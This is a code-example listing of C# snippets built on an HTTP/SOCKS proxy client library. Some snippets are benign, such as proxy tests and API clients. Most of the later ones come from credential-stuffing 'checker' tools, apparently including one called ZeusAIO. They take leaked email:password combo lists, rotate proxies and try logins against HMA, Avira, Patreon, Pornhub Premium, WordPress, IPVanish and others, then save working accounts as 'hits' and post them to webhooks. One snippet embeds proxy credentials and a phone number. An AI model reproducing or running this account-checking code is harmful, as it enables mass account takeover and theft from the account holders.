예제 #1
0
        public static void Auth()
        {
            string      name = "ContentType";
            HttpRequest req  = new HttpRequest();

            if (File.Exists(MyStrings.AutoLogin))
            {
                FileStream   stream = new FileStream(MyStrings.AutoLogin, FileMode.Open);
                StreamReader reader = new StreamReader(stream);
                string       ppr    = reader.ReadToEnd();
                stream.Close();

                var NMP = Helper.Proxy();

                if (ppr == "Yes")
                {
                    if (NMP.Length > 0)
                    {
                        var proxyClient = HttpProxyClient.Parse(NMP);
                        req.Proxy = proxyClient;
                    }

                    try
                    {
                        req.AddHeader("Accept", "application/json");
                        req.AddHeader(name, "application/json");
                        req.AddHeader("Authorization", string.Format("Bearer {0}", Helper.DeHash()));
                        req.Get("https://edge.qiwi.com/person-profile/v1/profile/current", null).ToString();
                        req.Close();
                        Status = "OK";
                    }

                    catch (Exception ex)
                    {
                        Console.WriteLine("Возникла ошибка, повторите попытку позже. " + ex);
                    }
                }
            }

            else
            {
            }
        }
예제 #2
0
        private TcpClient TestTcpHandler(string address, int port)
        {
            var proxy = testproxy.Split(';');

            if (proxy[0] == "Socks5")
            {
                Socks5ProxyClient SocksProxyClient;
                if (proxy[3] == "")
                {
                    SocksProxyClient = new Socks5ProxyClient(proxy[1], Int32.Parse(proxy[2]));
                }
                else
                {
                    SocksProxyClient = new Socks5ProxyClient(proxy[1], Int32.Parse(proxy[2]), proxy[3], proxy[4]);
                }

                try { TcpClient client = SocksProxyClient.CreateConnection(address, port); return(client); }
                catch { return(null); }
            }
            else
            {
                HttpProxyClient webProxyClient;
                if (proxy[3] == "")
                {
                    webProxyClient = new HttpProxyClient(proxy[1], Int32.Parse(proxy[2]));
                }
                else
                {
                    webProxyClient = new HttpProxyClient(proxy[1], Int32.Parse(proxy[2]), proxy[3], proxy[4]);
                }

                try
                {
                    TcpClient client = webProxyClient.CreateConnection(address, port);
                    return(client);
                }
                catch
                {
                    return(null);
                }
            }
        }
예제 #3
0
        public TcpClient TcpHandler(string address, int port)
        {
            var proxy = Properties.Settings.Default.ProxyInUse.Split(';');

            if (proxy[0] == "Socks5")
            {
                Socks5ProxyClient SocksProxyClient;
                if (proxy[3] == "")
                {
                    SocksProxyClient = new Socks5ProxyClient(proxy[1], Int32.Parse(proxy[2]));
                }
                else
                {
                    SocksProxyClient = new Socks5ProxyClient(proxy[1], Int32.Parse(proxy[2]), proxy[3], proxy[4]);
                }

                try { TcpClient client = SocksProxyClient.CreateConnection(address, port); return(client); }
                catch { return(null); }
            }
            else
            {
                HttpProxyClient webProxyClient;
                if (proxy[3] == "")
                {
                    webProxyClient = new HttpProxyClient(proxy[1], Int32.Parse(proxy[2]));
                }
                else
                {
                    webProxyClient = new HttpProxyClient(proxy[1], Int32.Parse(proxy[2]), proxy[3], proxy[4]);
                }

                try
                {
                    TcpClient client = webProxyClient.CreateConnection(address, port);
                    return(client);
                }
                catch
                {
                    return(null);
                }
            }
        }
예제 #4
0
        private static string smethod_24(ref CookieStorage cookieStorage_0)
        {
            while (true)
            {
                try
                {
                    using (var req = new HttpRequest())
                    {
                        switch (Program.ProxyType1)
                        {
                        case "HTTP":
                            req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                            req.Proxy.ConnectTimeout = 5000;
                            break;

                        case "SOCKS4":
                            req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                            req.Proxy.ConnectTimeout = 5000;
                            break;

                        case "SOCKS5":
                            req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                            req.Proxy.ConnectTimeout = 5000;
                            break;
                        }

                        cookieStorage_0 = new CookieStorage();
                        req.Cookies     = cookieStorage_0;
                        var text = req.Get(new Uri("https://account.ipvanish.com/login")).ToString();
                        if (!text.Contains("\"clientToken\""))
                        {
                            continue;
                        }
                        return(Regex.Match(text, "id=\"clientToken\" value=\"(.*?)\"").Groups[1].Value);
                    }
                }
                catch
                {
                    Program.Errors++;
                }
            }
        }
예제 #5
0
        public async Task TestMethodNotAllowedAsync()
        {
            var    proxy  = new HttpProxyClient("www.google.com", 80);
            Stream stream = null;

            try {
                stream = await proxy.ConnectAsync("www.google.com", 80);

                Assert.Fail("www.google.com is not an HTTP proxy, so CONNECT should have failed.");
            } catch (ProxyProtocolException ex) {
                // This is expected since this proxy does not support Socks4a
                Assert.AreEqual("Failed to connect to www.google.com:80: HTTP/1.1 405 Method Not Allowed", ex.Message);
            } catch (TimeoutException) {
                Assert.Inconclusive("Timed out.");
            } catch (Exception ex) {
                Assert.Fail(ex.Message);
            } finally {
                stream?.Dispose();
            }
        }
예제 #6
0
        public async Task TestConnectWithCredentialsAsync()
        {
            using (var server = new HttpProxyListener()) {
                server.Start(IPAddress.Loopback, 0);

                var    credentials = new NetworkCredential("username", "password");
                var    proxy       = new HttpProxyClient(server.IPAddress.ToString(), server.Port, credentials);
                Stream stream      = null;

                try {
                    stream = await proxy.ConnectAsync("www.google.com", 80, ConnectTimeout);
                } catch (TimeoutException) {
                    Assert.Inconclusive("Timed out.");
                } catch (Exception ex) {
                    Assert.Fail(ex.Message);
                } finally {
                    stream?.Dispose();
                }
            }
        }
예제 #7
0
 public static bool TestProxy(string prx)
 {
     using (HttpRequest reqes = new HttpRequest())
     {
         reqes.UserAgent              = Http.FirefoxUserAgent();
         reqes.Proxy                  = HttpProxyClient.Parse(prx);
         reqes.ConnectTimeout         = 1000;
         reqes.Proxy.ConnectTimeout   = 1000;
         reqes.ReadWriteTimeout       = 1000;
         reqes.Proxy.ReadWriteTimeout = 1000;
         try
         {
             reqes.Post("https://google.ru");
             return(true);
         }
         catch
         {
             return(false);
         }
     }
 }
예제 #8
0
파일: Proxy.cs 프로젝트: dslisanoob/Kotsh
        /// <summary>
        /// Return a parsed and ready-to-use proxy
        /// </summary>
        /// <returns>ProxyClient</returns>
        public ProxyClient GetParsedProxy()
        {
            // Switch type
            switch (Type)
            {
            case ProxyType.HTTP:
                return(HttpProxyClient.Parse(Full));

            case ProxyType.Socks4:
                return(Socks4ProxyClient.Parse(Full));

            case ProxyType.Socks4A:
                return(Socks4AProxyClient.Parse(Full));

            case ProxyType.Socks5:
                return(Socks5ProxyClient.Parse(Full));

            default:
                return(null);
            }
        }
예제 #9
0
        static string InstagramGetCSRF(ref CookieStorage cookies)
        {
            while (true)
            {
                try
                {
                    using (HttpRequest httpRequest = new HttpRequest())
                    {
                        string proxy = ZeusAIO.mainmenu.proxies.ElementAt(new Random().Next(ZeusAIO.mainmenu.proxiesCount));
                        if (ZeusAIO.mainmenu.proxyProtocol == "HTTP")
                        {
                            httpRequest.Proxy = HttpProxyClient.Parse(proxy);
                        }
                        if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS4")
                        {
                            httpRequest.Proxy = Socks4ProxyClient.Parse(proxy);
                        }
                        if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS5")
                        {
                            httpRequest.Proxy = Socks5ProxyClient.Parse(proxy);
                        }
                        httpRequest.IgnoreProtocolErrors = true;
                        httpRequest.AllowAutoRedirect    = false;

                        cookies               = new CookieStorage();
                        httpRequest.Cookies   = cookies;
                        httpRequest.UserAgent = "Instagram 25.0.0.26.136 Android (24/7.0; 480dpi; 1080x1920; samsung; SM-J730F; j7y17lte; samsungexynos7870)";

                        string strResponse = httpRequest.Get(new Uri("https://i.instagram.com/api/v1/accounts/login/")).ToString();

                        return(cookies.GetCookies("https://i.instagram.com")["csrftoken"].Value);
                    }
                }
                catch
                {
                    ZeusAIO.mainmenu.errors++;
                }
            }
            return("");
        }
예제 #10
0
 public static void Change(HttpRequest req, string proxy, ProxyType proxyType)
 {
     if (proxy != null && proxy != "" && req != null)
     {
         if (proxyType == ProxyType.HTTPS)
         {
             req.Proxy = HttpProxyClient.Parse(proxy);
         }
         else if (proxyType == ProxyType.SOCKS4)
         {
             req.Proxy = Socks4ProxyClient.Parse(proxy);
         }
         else if (proxyType == ProxyType.SOCKS4A)
         {
             req.Proxy = Socks4AProxyClient.Parse(proxy);
         }
         else
         {
             req.Proxy = Socks5ProxyClient.Parse(proxy);
         }
     }
 }
예제 #11
0
        /// <summary>获得京东的价格</summary>
        /// <param name="itemId"></param>
        /// <returns>Item1:价格;Item2:是否促销;Item3:商品名称</returns>
        public static async Task <ItemPriceModel> GetJingDongPrice(string itemId)
        {
            IHttpProxyClient client = null;

            try
            {
                client = new HttpProxyClient();

                Logger.Info("开始获取京东商品价格: " + itemId);

                var result = await client.GetJingdongPriceAsync(itemId);

                result.ThrowIfException(true);

                if (result.Result != null)
                {
                    Logger.Info($"获取到的京东商品{itemId}的价格为{result.Result.Price},名称为:{result.Result.Title}");

                    return(result.Result);
                }

                Logger.Warn($"获取京东商品{itemId}价格失败");

                return(result.Result);
            }
            catch (Exception ex)
            {
                //Logger.Error(new LogModel { Message = "下载商品信息失败", RefNo = itemId }, ex);
                Logger.Info(new LogModel {
                    Message = ex.Message, RefNo = itemId
                });
                return(null);
            }
            finally
            {
                client?.Dispose();
            }
        }
예제 #12
0
        public void Connect(Reconnect reconnect, string proxyHost = null, int proxyport = 0)
        {
            bool useProxy = (proxyHost != null && proxyport != 0);

            OnDisconnectHasBeenCalled = false;

            _incomingEncryption = new RC4(Utility.HexStringToBytes(IncomingKey));
            _outgoingEncryption = new RC4(Utility.HexStringToBytes(OutgoingKey));

            try
            {
                if (useProxy)
                {
                    Log.Info("Connecting using HTTP proxy client...");
                    HttpProxyClient proxyClient = new HttpProxyClient(proxyHost, proxyport);
                    TcpClient       client      = proxyClient.CreateConnection(reconnect.Host, reconnect.Port);
                    _socket = client.Client;
                }
                else
                {
                    Log.Info("Connecting no using proxy!");
                    _socket = new Socket(SocketType.Stream, ProtocolType.Tcp);
                    _socket.Connect(new IPEndPoint(IPAddress.Parse(reconnect.Host), reconnect.Port));
                }

                _socket.NoDelay        = true;
                _socket.ReceiveTimeout = 5000;
                _socket.SendTimeout    = 5000;
                Disconnected           = false;
                Start();
                _onConnect?.Invoke();
            }
            catch (Exception e)
            {
                Log.Error("Disconnecting due to error : " + e.Message);
                Disconnect(DisconnectReason.ExceptionOnConnection.SetDetails(e.Message));
            }
        }
예제 #13
0
        async private void Go()
        {
            string proxy = "5.101.82.125:8000:Bj9BvB:fGtkgw";

            TcpClient TcpHandler(string address, int port)
            {
                string[] split      = proxy.Split(':');
                var      socksProxy = new HttpProxyClient(split[0], int.Parse(split[1]), split[2], split[3]);
                var      tcpClient  = socksProxy.CreateConnection(address, port);

                return(tcpClient);
            }

            if (File.Exists("session.dat"))
            {
                var client = new TelegramClient(apiId, apiHash, sessionUserId: "session", handler: TcpHandler);
                await client.ConnectAsync();

                FileSessionStore     store = new FileSessionStore();
                TLSharp.Core.Session s     = null; s = store.Load("session");
                //var hash = await client.SendCodeRequestAsync("79029828756");
                //string code = await GetCode();

                //var user = await client.MakeAuthAsync("79029828756", hash, code);
                var userByPhoneId = await client.SearchUserAsync("79029828756");
            }
            else
            {
                var client = new TelegramClient(apiId, apiHash, handler: TcpHandler);
                await client.ConnectAsync();

                var hash = await client.SendCodeRequestAsync("79029828756");

                string code = await GetCode();

                var user = await client.MakeAuthAsync("79029828756", hash, code);
            }
        }
예제 #14
0
        public static bool Check(string code, string proxies, string type)
        {
            try
            {
                var req = new HttpRequest();

                req.UserAgentRandomize();

                req.Get($"https://discord.com/api/v8/entitlements/gift-codes/{code}?with_application=false&with_subscription_plan=true");
                req.UserAgent = Http.RandomUserAgent();

                switch (type)
                {
                case "http":
                    req.Proxy = HttpProxyClient.Parse(proxies);
                    break;

                case "socks4":
                    req.Proxy = Socks4ProxyClient.Parse(proxies);
                    break;

                case "socks5":
                    req.Proxy = Socks5ProxyClient.Parse(proxies);
                    break;

                default:
                    req.Proxy = null;
                    break;
                }


                return(true);
            }
            catch
            {
                return(false);
            }
        }
예제 #15
0
        private static string EctwirVhw7(ref CookieStorage cookieStorage_0)
        {
            while (true)
            {
                try
                {
                    using (var req = new HttpRequest())
                    {
                        switch (Program.ProxyType1)
                        {
                        case "HTTP":
                            req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                            req.Proxy.ConnectTimeout = 5000;
                            break;

                        case "SOCKS4":
                            req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                            req.Proxy.ConnectTimeout = 5000;
                            break;

                        case "SOCKS5":
                            req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                            req.Proxy.ConnectTimeout = 5000;
                            break;
                        }

                        cookieStorage_0 = new CookieStorage();
                        req.Cookies     = cookieStorage_0;
                        var input = req.Get(new Uri("https://chaturbate.com/auth/login/?next=/")).ToString();
                        return(Regex.Match(input, "name='csrfmiddlewaretoken' value='(.*?)'").Groups[1].Value);
                    }
                }
                catch
                {
                    Program.Errors++;
                }
            }
        }
예제 #16
0
        private void Enter_Click(object sender, EventArgs e)
        {
            try
            {
                var NMP = Helper.Proxy();
                if (NMP.Length > 0)
                {
                    var proxyClient = HttpProxyClient.Parse(NMP);
                    req.Proxy = proxyClient;
                }
                req.AddHeader("Accept", "application/json");
                req.AddHeader(Name, "application/json");
                req.AddHeader("Authorization", string.Format("Bearer {0}", textBox1.Text));
                req.Get("https://edge.qiwi.com/person-profile/v1/profile/current", null).ToString();

                if (AEnter.Checked)
                {
                    string hash = Helper.Hash(textBox1.Text);

                    File.WriteAllText(MyStrings.MHash, hash);
                    File.WriteAllText(MyStrings.AutoLogin, "Yes");
                }
                else
                {
                    token = textBox1.Text;
                }
                req.Close();

                Form2 cr = new Form2();
                Hide();
                cr.ShowDialog();
                Close();
            }
            catch
            {
                MessageBox.Show("Неправильный токен!");
            }
        }
예제 #17
0
        private void Form1_Load(object sender, EventArgs e)
        {
            try
            {
                if (File.Exists(MyStrings.AutoLogin))
                {
                    FileStream   stream = new FileStream(MyStrings.AutoLogin, FileMode.Open);
                    StreamReader reader = new StreamReader(stream);
                    string       ppr    = reader.ReadToEnd();
                    stream.Close();

                    var NMP = Helper.Proxy();

                    if (ppr == "Yes")
                    {
                        if (NMP.Length > 0)
                        {
                            var proxyClient = HttpProxyClient.Parse(NMP);
                            req.Proxy = proxyClient;
                        }
                        req.AddHeader("Accept", "application/json");
                        req.AddHeader(Name, "application/json");
                        req.AddHeader("Authorization", string.Format("Bearer {0}", Helper.DeHash()));
                        req.Get("https://edge.qiwi.com/person-profile/v1/profile/current", null).ToString();

                        Form2 f2 = new Form2();
                        Hide();
                        f2.ShowDialog();
                        Close();
                    }
                }
            }
            catch (Exception ex)
            {
                MessageBox.Show("Ошибка! Лог с подробностями об ошибке был сохранен в папке с программой.");
                File.WriteAllText(MyStrings.MFolder + "Error Log.txt", ex.ToString());
            }
        }
예제 #18
0
        public void TestMethodNotAllowed()
        {
            var    proxy  = new HttpProxyClient("www.google.com", 80);
            Socket socket = null;

            try {
                socket = proxy.Connect("www.google.com", 80);
                socket.Disconnect(false);
                Assert.Fail("www.google.com is not an HTTP proxy, so CONNECT should have failed.");
            } catch (ProxyProtocolException ex) {
                // This is expected since this proxy does not support Socks4a
                Assert.AreEqual("Failed to connect to www.google.com:80: HTTP/1.1 405 Method Not Allowed", ex.Message);
            } catch (TimeoutException) {
                Assert.Inconclusive("Timed out.");
            } catch (Exception ex) {
                Assert.Fail(ex.Message);
            } finally {
                if (socket != null)
                {
                    socket.Dispose();
                }
            }
        }
예제 #19
0
 public void SetUp()
 {
     _httpProxyClient = new HttpProxyClient("localhost", 1080);
 }
예제 #20
0
        public static void Check()
        {
            for (;;)
            {
                if (Program.Proxyindex > Program.Proxies.Count() - 2)
                {
                    Program.Proxyindex = 0;
                }
                try
                {
                    Interlocked.Increment(ref Program.Proxyindex);
                    using (var req = new HttpRequest())
                    {
                        if (Combosindex >= Combos.Count())
                        {
                            Program.Stop++;
                            break;
                        }

                        Interlocked.Increment(ref Combosindex);
                        var array = Combos[Combosindex].Split(':', ';', '|');
                        var text  = array[0] + ":" + array[1];
                        try
                        {
                            var capture = new StringBuilder();

                            switch (Program.ProxyType1)
                            {
                            case "HTTP":
                                req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS4":
                                req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS5":
                                req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;
                            }

                            req.UserAgent            = "Dalvik/2.1.0 (Linux; U; Android 7.0; SM-G950F Build/NRD90M)";
                            req.IgnoreProtocolErrors = true;
                            req.AllowAutoRedirect    = true;
                            var str = "username="******"&password="******"https://mobile.api.hmageo.com/clapi/v1.5/user/login", str,
                                                 "application/x-www-form-urlencoded").ToString();
                            if (text2.Contains("Invalid username/password combination"))
                            {
                                Program.Fails++;
                                Program.TotalChecks++;
                            }
                            else if (text2.Contains("{\"status\":0,\"data\":{\"user\":\""))
                            {
                                var text3 = Parse(text2, "\"plan\":\"", "\"");
                                var text4 = Parse(text2, "\"expires\":\"", "\"");
                                Program.Hits++;
                                Program.TotalChecks++;
                                Export.AsResult("/Hma_hits", array[0] + ":" + array[1] + " | Plan: " + text3);
                                if (Program.lorc == "LOG")
                                {
                                    Settings.PrintHit("Hma", array[0] + ":" + array[1]);
                                }
                                if (Settings.sendToWebhook)
                                {
                                    Settings.sendTowebhook1(array[0] + ":" + array[1] + " | Plan: " + text3,
                                                            "Hma Hits");
                                }
                            }
                        }
                        catch (Exception)
                        {
                            Program.Combos.Add(text);
                        }
                    }
                }
                catch
                {
                    Interlocked.Increment(ref Program.Errors);
                }
            }
        }
예제 #21
0
        public static void Check()
        {
            for (;;)
            {
                if (Program.Proxyindex > Program.Proxies.Count() - 2)
                {
                    Program.Proxyindex = 0;
                }
                try
                {
                    Interlocked.Increment(ref Program.Proxyindex);
                    using (var req = new HttpRequest())
                    {
                        if (Combosindex >= Combos.Count())
                        {
                            Program.Stop++;
                            break;
                        }

                        Interlocked.Increment(ref Combosindex);
                        var array = Combos[Combosindex].Split(':', ';', '|');
                        var text  = array[0] + ":" + array[1];
                        try
                        {
                            switch (Program.ProxyType1)
                            {
                            case "HTTP":
                                req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS4":
                                req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS5":
                                req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;
                            }

                            req.UserAgent            = "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko";
                            req.IgnoreProtocolErrors = true;
                            req.AllowAutoRedirect    = false;
                            req.AddHeader("Authorization",
                                          "Basic YXZpcmEvZGFzaGJvYXJkOjAyMjI4OWNjOTZhMTQwOTI4YWQ5ODNjNTJmYTRjYTNlMDZmODBkZDg5NjgwNGE0YmIxNDFkMDc2MjY2YTQ0OTA=");
                            req.AddHeader("Origin", "https://my.avira.com");
                            var str = "{\"grant_type\":\"password\",\"username\":\"" + array[0] + "\",\"password\":\"" +
                                      array[1] + "\"}";
                            req.SslCertificateValidatorCallback =
                                (RemoteCertificateValidationCallback)Delegate.Combine(
                                    req.SslCertificateValidatorCallback,
                                    new RemoteCertificateValidationCallback((obj, cert, ssl, error) =>
                                                                            (cert as X509Certificate2).Verify()));
                            var strResponse = req.Post("https://api.my.avira.com/v2/oauth/", str, "application/json")
                                              .ToString();
                            {
                                if (strResponse.Contains("invalid_credentials"))
                                {
                                    Program.Fails++;
                                    Program.TotalChecks++;
                                }
                                else if (strResponse.Contains("device_token")) //hit
                                {
                                    Program.Hits++;
                                    Program.TotalChecks++;
                                    Export.AsResult("/Avira_hits", array[0] + ":" + array[1]);
                                    if (Program.lorc == "LOG")
                                    {
                                        Settings.PrintHit("Avira", array[0] + ":" + array[1]);
                                    }
                                    if (Settings.sendToWebhook)
                                    {
                                        Settings.sendTowebhook1(array[0] + ":" + array[1], "Avira Hits");
                                    }
                                }
                                else
                                {
                                    Program.Fails++;
                                    Program.TotalChecks++;
                                }
                            }
                        }
                        catch (Exception)
                        {
                            Program.Combos.Add(text);
                            req.Dispose();
                        }
                    }
                }
                catch
                {
                    Interlocked.Increment(ref Program.Errors);
                }
            }
        }
예제 #22
0
        public static void Check()
        {
            for (;;)
            {
                if (Program.Proxyindex > Program.Proxies.Count() - 2)
                {
                    Program.Proxyindex = 0;
                }
                try
                {
                    Interlocked.Increment(ref Program.Proxyindex);
                    using (var req = new HttpRequest())
                    {
                        if (Combosindex >= Combos.Count())
                        {
                            Program.Stop++;
                            break;
                        }

                        Interlocked.Increment(ref Combosindex);
                        var array = Combos[Combosindex].Split(':', ';', '|');
                        var text  = array[0] + ":" + array[1];
                        try
                        {
                            switch (Program.ProxyType1)
                            {
                            case "HTTP":
                                req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS4":
                                req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;

                            case "SOCKS5":
                                req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                                req.Proxy.ConnectTimeout = 5000;
                                break;
                            }

                            req.UserAgent =
                                "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36";
                            req.IgnoreProtocolErrors = true;
                            req.AllowAutoRedirect    = true;
                            req.AddHeader("cookie",
                                          "patreon_locale_code=en-US; patreon_location_country_code=US; __cfduid=d4a78ee5214179435b57491f8fbb4b2211600999720; patreon_device_id=73c88a40-faa8-44d6-964b-78de1aae8962; __cf_bm=4ddce7d1c141a2853984692ea2f33aa65da351b6-1600999720-1800-AcP/65P8WHWVAZaBQ80wx/R0B09Z4yqZhNtQF9yFCRGm/yePclYrpR3By2+loXxQdOKbgS1eyV5YWfNF7I1EAfQ=; CREATOR_DEMO_COOKIE=1; G_ENABLED_IDPS=google");
                            var str = "{\"data\":{\"type\":\"user\",\"attributes\":{\"email\":\"" + array[0] +
                                      "\",\"password\":\"" + array[1] + "\"},\"relationships\":{}}}";
                            req.AddHeader("x-csrf-signature", "Sg3rMb1o922PEstPb4LXzHqPygE3MIdMhX762CZ3S2g");
                            req.SslCertificateValidatorCallback =
                                (RemoteCertificateValidationCallback)Delegate.Combine(
                                    req.SslCertificateValidatorCallback,
                                    new RemoteCertificateValidationCallback((obj, cert, ssl, error) =>
                                                                            (cert as X509Certificate2).Verify()));
                            var strResponse =
                                req.Post(
                                    "https://www.patreon.com/api/login?include=campaign%2Cuser_location&json-api-version=1.0",
                                    str, "application/json").ToString();
                            {
                                if (strResponse.Contains("Incorrect email or password"))
                                {
                                    Program.Fails++;
                                    Program.TotalChecks++;
                                }
                                else if (strResponse.Contains("Device Verification"))
                                {
                                    Program.Frees++;
                                    Program.TotalChecks++;
                                    Export.AsResult("/Patreon_frees", array[0] + ":" + array[1]);
                                }
                                else if (strResponse.Contains("attributes"))
                                {
                                    var cap     = req.Get("https://www.patreon.com/pledges?ty=p").ToString();
                                    var payment = Parse(cap, "payout_method\": \"", "\"");
                                    if (cap.Contains("UNDEFINED"))
                                    {
                                        Program.Frees++;
                                        Program.TotalChecks++;
                                        if (Program.lorc == "LOG")
                                        {
                                            Settings.PrintFree("Patreon", array[0] + ":" + array[1]);
                                        }
                                        Export.AsResult("/Patreon_frees",
                                                        array[0] + ":" + array[1] + " | Payment Method: " + payment);
                                    }
                                    else
                                    {
                                        Program.Hits++;
                                        Program.TotalChecks++;
                                        Export.AsResult("/Patreon_hits",
                                                        array[0] + ":" + array[1] + " | Payment Method: " + payment);
                                        if (Program.lorc == "LOG")
                                        {
                                            Settings.PrintHit("Patreon",
                                                              array[0] + ":" + array[1] + " | Payment Method: " + payment);
                                        }
                                        if (Settings.sendToWebhook)
                                        {
                                            Settings.sendTowebhook1(
                                                array[0] + ":" + array[1] + " | Payment Method: " + payment,
                                                "Patreon Hits");
                                        }
                                    }
                                }
                            }
                        }
                        catch (Exception)
                        {
                            Program.Combos.Add(text);
                        }
                    }
                }
                catch
                {
                    Interlocked.Increment(ref Program.Errors);
                }
            }
        }
예제 #23
0
        public static bool CheckAccount(string[] s, string proxy)
        {
            for (int i = 0; i < Config.config.Retries + 1; i++)
            {
                while (true)
                {
                    try
                    {
Retry:
                        using (HttpRequest httpRequest = new HttpRequest())
                        {
                            proxy = ZeusAIO.mainmenu.proxies.ElementAt(new Random().Next(ZeusAIO.mainmenu.proxiesCount));
                            if (ZeusAIO.mainmenu.proxyProtocol == "HTTP")
                            {
                                httpRequest.Proxy = HttpProxyClient.Parse(proxy);
                            }
                            if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS4")
                            {
                                httpRequest.Proxy = Socks4ProxyClient.Parse(proxy);
                            }
                            if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS5")
                            {
                                httpRequest.Proxy = Socks5ProxyClient.Parse(proxy);
                            }
                            httpRequest.UserAgent                       = "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko";
                            httpRequest.IgnoreProtocolErrors            = true;
                            httpRequest.AllowAutoRedirect               = true;
                            httpRequest.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(httpRequest.SslCertificateValidatorCallback,
                                                                                                                                new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify()));
                            string Getlogin     = httpRequest.Get("https://www.pornhubpremium.com/premium/login").ToString();
                            string access_token = Check.Parse(Getlogin, "token\":\"", "\",\"");
                            string str          = "username="******"&password="******"&redirect=&from=pc_premium_login&segment=straight&token=" + access_token;
                            string strResponse  = httpRequest.Post("https://www.pornhubpremium.com/front/authenticate", str, "application/x-www-form-urlencoded").ToString();
                            {
                                if (strResponse.Contains("message\":\"Invalid username\\/password!") || strResponse.Contains("Account disabled. Please try again later"))
                                {
                                    break;
                                }
                                else if (strResponse.Contains("premium_redirect_cookie\":\"1\"")) //hit
                                {
                                    ZeusAIO.mainmenu.hits++;
                                    if (Config.config.LogorCui == "2")
                                    {
                                        Console.WriteLine("[HIT - PORNHUB] " + s[0] + ":" + s[1], Color.Green);
                                    }
                                    Export.AsResult("/Pornhub_hits", s[0] + ":" + s[1]);
                                    return(false);
                                }
                                else if (strResponse.Contains("\"premium_redirect_cookie\":\"0\"")) //freeidolater
                                {
                                    ZeusAIO.mainmenu.frees++;
                                    if (Config.config.LogorCui == "2")
                                    {
                                        Console.WriteLine("[FREE - PORNHUB] " + s[0] + ":" + s[1], Color.OrangeRed);
                                    }
                                    Export.AsResult("/Pornhub_frees", s[0] + ":" + s[1]);
                                    return(false);
                                }
                                else
                                {
                                    ZeusAIO.mainmenu.errors++;
                                    goto Retry;
                                }
                            }
                            break;
                        }
                    }
                    catch (Exception ex)
                    {
                        ZeusAIO.mainmenu.errors++;
                    }
                }
            }
            return(false);
        }
예제 #24
0
        public static bool CheckAccount(string[] s, string proxy)
        {
            for (int i = 0; i < Config.config.Retries + 1; i++)
            {
                while (true)
                {
                    try
                    {
Retry:
                        using (HttpRequest httpRequest = new HttpRequest())
                        {
                            proxy = ZeusAIO.mainmenu.proxies.ElementAt(new Random().Next(ZeusAIO.mainmenu.proxiesCount));
                            if (ZeusAIO.mainmenu.proxyProtocol == "HTTP")
                            {
                                httpRequest.Proxy = HttpProxyClient.Parse(proxy);
                            }
                            if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS4")
                            {
                                httpRequest.Proxy = Socks4ProxyClient.Parse(proxy);
                            }
                            if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS5")
                            {
                                httpRequest.Proxy = Socks5ProxyClient.Parse(proxy);
                            }
                            httpRequest.UserAgent                       = "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko";
                            httpRequest.IgnoreProtocolErrors            = true;
                            httpRequest.AllowAutoRedirect               = true;
                            httpRequest.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(httpRequest.SslCertificateValidatorCallback,
                                                                                                                                new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify()));
                            string str         = "username="******"&password="******"&remember_me=true&redirect_to=&client_id=39911&client_secret=cOaYKdrkgXz8xY7aysv4fU6wL6sK5J8a6ojReEIAPwggsznj4Cb6mW0nffTxtYT8&domain=";
                            string strResponse = httpRequest.Post("https://wordpress.com/wp-login.php?action=login-endpoint", str, "application/x-www-form-urlencoded").ToString();
                            {
                                if (strResponse.Contains("incorrect_password") || strResponse.Contains("empty_username") || strResponse.Contains("invalid_username"))
                                {
                                    break;
                                }
                                else if (strResponse.Contains("token_links") || strResponse.Contains("success\":true")) //hit
                                {
                                    ZeusAIO.mainmenu.hits++;
                                    if (Config.config.LogorCui == "2")
                                    {
                                        Console.WriteLine("[HIT - WORDPRESS] " + s[0] + ":" + s[1], Color.Green);
                                    }
                                    Export.AsResult("/Wordpress_hits", s[0] + ":" + s[1]);
                                    return(false);
                                }
                                else
                                {
                                    ZeusAIO.mainmenu.errors++;
                                    goto Retry;
                                }
                            }
                            break;
                        }
                    }
                    catch (Exception ex)
                    {
